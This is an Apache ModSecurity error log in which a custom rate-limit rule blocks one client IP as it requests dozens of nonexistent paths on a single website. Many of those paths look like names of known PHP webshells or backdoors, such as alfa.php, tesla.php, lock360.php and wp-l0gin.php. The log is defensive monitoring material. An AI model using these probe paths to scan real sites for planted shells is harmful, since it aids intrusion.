[Sun Jan 11 20:42:40.060330 2026] [:error] [pid 5152:tid 5169] [client 4.247.164.63:45298] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aWOawBm0axGMFrpuXHCVwwAAAAc"]
[Sun Jan 11 20:42:40.514484 2026] [:error] [pid 5153:tid 5208] [client 4.247.164.63:5862] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aWOawM1QbNSPD9bRi77JkQAAAFM"]
[Sun Jan 11 20:42:40.890117 2026] [:error] [pid 36611:tid 36627] [client 4.247.164.63:5914] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aWOawD8oZoZHsoTdjhhf9QAAAk4"]
[Sun Jan 11 20:42:41.470160 2026] [:error] [pid 5152:tid 5174] [client 4.247.164.63:35525] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOawRm0axGMFrpuXHCVxgAAAAw"]
[Sun Jan 11 20:42:41.879452 2026] [:error] [pid 5153:tid 5211] [client 4.247.164.63:45261] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOawc1QbNSPD9bRi77JkwAAAFY"]
[Sun Jan 11 20:42:42.242882 2026] [:error] [pid 35977:tid 35996] [client 4.247.164.63:38862] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOawrDST5RMqStLeP15LQAAAhA"]
[Sun Jan 11 20:42:42.630083 2026] [:error] [pid 5155:tid 5224] [client 4.247.164.63:44278] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aWOawlgEKFpNs0_zLGkeiwAAAIg"]
[Sun Jan 11 20:42:42.997401 2026] [:error] [pid 11747:tid 11771] [client 4.247.164.63:38908] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aWOawqRFw84LNpZSk7niDgAAAVQ"]
[Sun Jan 11 20:42:43.488616 2026] [:error] [pid 5272:tid 5275] [client 4.247.164.63:38873] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aWOaw1p55bCsukUvYGZ0hgAAAME"]
[Sun Jan 11 20:42:43.922924 2026] [:error] [pid 36611:tid 36619] [client 4.247.164.63:35392] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aWOawz8oZoZHsoTdjhhf-AAAAkY"]
[Sun Jan 11 20:42:44.264616 2026] [:error] [pid 5272:tid 5283] [client 4.247.164.63:38860] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aWOaxFp55bCsukUvYGZ0igAAAMk"]
[Sun Jan 11 20:42:44.643895 2026] [:error] [pid 5152:tid 5183] [client 4.247.164.63:36468] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWOaxBm0axGMFrpuXHCVyAAAABU"]
[Sun Jan 11 20:42:45.014380 2026] [:error] [pid 35977:tid 35997] [client 4.247.164.63:38141] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWOaxbDST5RMqStLeP15LwAAAhE"]
[Sun Jan 11 20:42:45.485451 2026] [:error] [pid 11747:tid 11775] [client 4.247.164.63:36553] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWOaxaRFw84LNpZSk7niEwAAAVg"]
[Sun Jan 11 20:42:45.871253 2026] [:error] [pid 5272:tid 5292] [client 4.247.164.63:44226] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aWOaxVp55bCsukUvYGZ0jwAAANI"]
[Sun Jan 11 20:42:46.266124 2026] [:error] [pid 40191:tid 40212] [client 4.247.164.63:36570] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWOaxkm2BH1CV1p0EUHT5QAAAtM"]
[Sun Jan 11 20:42:46.640945 2026] [:error] [pid 40191:tid 40209] [client 4.247.164.63:36555] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWOaxkm2BH1CV1p0EUHT5gAAAtA"]
[Sun Jan 11 20:42:47.155826 2026] [:error] [pid 35977:tid 35993] [client 4.247.164.63:38875] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWOax7DST5RMqStLeP15MQAAAg0"]
[Sun Jan 11 20:42:47.490677 2026] [:error] [pid 35977:tid 35998] [client 4.247.164.63:30924] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aWOax7DST5RMqStLeP15NAAAAhI"]
[Sun Jan 11 20:42:47.971134 2026] [:error] [pid 5272:tid 5286] [client 4.247.164.63:44248] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tesla.php"] [unique_id "aWOax1p55bCsukUvYGZ0kQAAAMw"]
[Sun Jan 11 20:42:48.320645 2026] [:error] [pid 5272:tid 5290] [client 4.247.164.63:38120] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tesla.php"] [unique_id "aWOayFp55bCsukUvYGZ0lAAAANA"]
[Sun Jan 11 20:42:48.764060 2026] [:error] [pid 35977:tid 35986] [client 4.247.164.63:38125] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tesla.php"] [unique_id "aWOayLDST5RMqStLeP15NgAAAgY"]
[Sun Jan 11 20:42:49.244125 2026] [:error] [pid 35730:tid 35734] [client 4.247.164.63:30951] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tesla.php"] [unique_id "aWOayTi7U_mfHtESQHlbrgAAAcI"]
[Sun Jan 11 20:42:49.561039 2026] [:error] [pid 5152:tid 5173] [client 4.247.164.63:36448] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWOayRm0axGMFrpuXHCVzgAAAAs"]
[Sun Jan 11 20:42:50.084527 2026] [:error] [pid 5152:tid 5170] [client 4.247.164.63:45259] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWOayhm0axGMFrpuXHCV0AAAAAg"]
[Sun Jan 11 20:42:50.496028 2026] [:error] [pid 35730:tid 35748] [client 4.247.164.63:45290] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWOayji7U_mfHtESQHlbsQAAAdA"]
[Sun Jan 11 20:42:50.889626 2026] [:error] [pid 5272:tid 5274] [client 4.247.164.63:38121] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aWOaylp55bCsukUvYGZ0nQAAAMA"]
[Sun Jan 11 20:42:51.233298 2026] [:error] [pid 35730:tid 35751] [client 4.247.164.63:30973] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWOayzi7U_mfHtESQHlbswAAAdM"]
[Sun Jan 11 20:42:51.573510 2026] [:error] [pid 35977:tid 35981] [client 4.247.164.63:44245] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWOay7DST5RMqStLeP15PgAAAgE"]
[Sun Jan 11 20:42:52.159381 2026] [:error] [pid 5152:tid 5180] [client 4.247.164.63:38866] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWOazBm0axGMFrpuXHCV1gAAABI"]
[Sun Jan 11 20:42:52.568163 2026] [:error] [pid 36611:tid 36613] [client 4.247.164.63:45264] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aWOazD8oZoZHsoTdjhhf_AAAAkA"]
[Sun Jan 11 20:42:52.912895 2026] [:error] [pid 36611:tid 36635] [client 4.247.164.63:30970] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aWOazD8oZoZHsoTdjhhf_gAAAlY"]
[Sun Jan 11 20:42:53.265274 2026] [:error] [pid 11748:tid 11788] [client 4.247.164.63:30922] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aWOazQC5xybrWOCNnoYAtAAAAYo"]
[Sun Jan 11 20:42:53.641949 2026] [:error] [pid 11748:tid 11793] [client 4.247.164.63:35573] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aWOazQC5xybrWOCNnoYAtQAAAY8"]
[Sun Jan 11 20:42:53.987256 2026] [:error] [pid 35730:tid 35745] [client 4.247.164.63:30956] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aWOazTi7U_mfHtESQHlbvAAAAc0"]
[Sun Jan 11 20:42:54.381415 2026] [:error] [pid 5272:tid 5285] [client 4.247.164.63:34564] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm1.php"] [unique_id "aWOazlp55bCsukUvYGZ0ogAAAMs"]
[Sun Jan 11 20:42:54.895210 2026] [:error] [pid 11748:tid 11782] [client 4.247.164.63:38870] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm1.php"] [unique_id "aWOazgC5xybrWOCNnoYAuQAAAYQ"]
[Sun Jan 11 20:42:55.317763 2026] [:error] [pid 35730:tid 35733] [client 4.247.164.63:41378] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm1.php"] [unique_id "aWOazzi7U_mfHtESQHlbwwAAAcE"]
[Sun Jan 11 20:42:55.702360 2026] [:error] [pid 36611:tid 36626] [client 4.247.164.63:44963] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm1.php"] [unique_id "aWOazz8oZoZHsoTdjhhgBgAAAk0"]
[Sun Jan 11 20:42:56.405527 2026] [:error] [pid 36611:tid 36618] [client 4.247.164.63:33804] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file/function.php"] [unique_id "aWOa0D8oZoZHsoTdjhhgCgAAAkU"]
[Sun Jan 11 20:42:56.754840 2026] [:error] [pid 11748:tid 11799] [client 4.247.164.63:44281] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file/function.php"] [unique_id "aWOa0AC5xybrWOCNnoYAvAAAAZU"]
[Sun Jan 11 20:42:57.196089 2026] [:error] [pid 5272:tid 5298] [client 4.247.164.63:38115] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file/function.php"] [unique_id "aWOa0Vp55bCsukUvYGZ0pQAAANg"]
[Sun Jan 11 20:42:57.578654 2026] [:error] [pid 35730:tid 35742] [client 4.247.164.63:34591] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file/function.php"] [unique_id "aWOa0Ti7U_mfHtESQHlbygAAAco"]
[Sun Jan 11 20:42:58.019124 2026] [:error] [pid 11748:tid 11794] [client 4.247.164.63:30917] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa0gC5xybrWOCNnoYAvwAAAZA"]
[Sun Jan 11 20:42:58.348264 2026] [:error] [pid 36611:tid 36637] [client 4.247.164.63:44944] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa0j8oZoZHsoTdjhhgCwAAAlg"]
[Sun Jan 11 20:42:58.810478 2026] [:error] [pid 35730:tid 35747] [client 4.247.164.63:35529] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa0ji7U_mfHtESQHlb0AAAAc8"]
[Sun Jan 11 20:42:59.261102 2026] [:error] [pid 11748:tid 11791] [client 4.247.164.63:34569] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aWOa0wC5xybrWOCNnoYAwgAAAY0"]
[Sun Jan 11 20:42:59.593917 2026] [:error] [pid 11748:tid 11787] [client 4.247.164.63:60018] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWOa0wC5xybrWOCNnoYAxAAAAYk"]
[Sun Jan 11 20:42:59.932114 2026] [:error] [pid 36611:tid 36614] [client 4.247.164.63:35528] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWOa0z8oZoZHsoTdjhhgDgAAAkE"]
[Sun Jan 11 20:43:00.310704 2026] [:error] [pid 11748:tid 11779] [client 4.247.164.63:35398] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWOa1AC5xybrWOCNnoYAxgAAAYE"]
[Sun Jan 11 20:43:00.783337 2026] [:error] [pid 35730:tid 35746] [client 4.247.164.63:44905] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWOa1Di7U_mfHtESQHlb2QAAAc4"]
[Sun Jan 11 20:43:01.216599 2026] [:error] [pid 35730:tid 35749] [client 4.247.164.63:35420] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aWOa1Ti7U_mfHtESQHlb3AAAAdE"]
[Sun Jan 11 20:43:01.616466 2026] [:error] [pid 40191:tid 40204] [client 4.247.164.63:45279] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aWOa1Um2BH1CV1p0EUHT8QAAAss"]
[Sun Jan 11 20:43:01.970436 2026] [:error] [pid 5155:tid 5226] [client 4.247.164.63:33800] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aWOa1VgEKFpNs0_zLGkekwAAAIo"]
[Sun Jan 11 20:43:02.416271 2026] [:error] [pid 35730:tid 35756] [client 4.247.164.63:35436] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aWOa1ji7U_mfHtESQHlb4gAAAdg"]
[Sun Jan 11 20:43:02.744130 2026] [:error] [pid 5153:tid 5206] [client 4.247.164.63:44940] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aWOa1s1QbNSPD9bRi77JowAAAFE"]
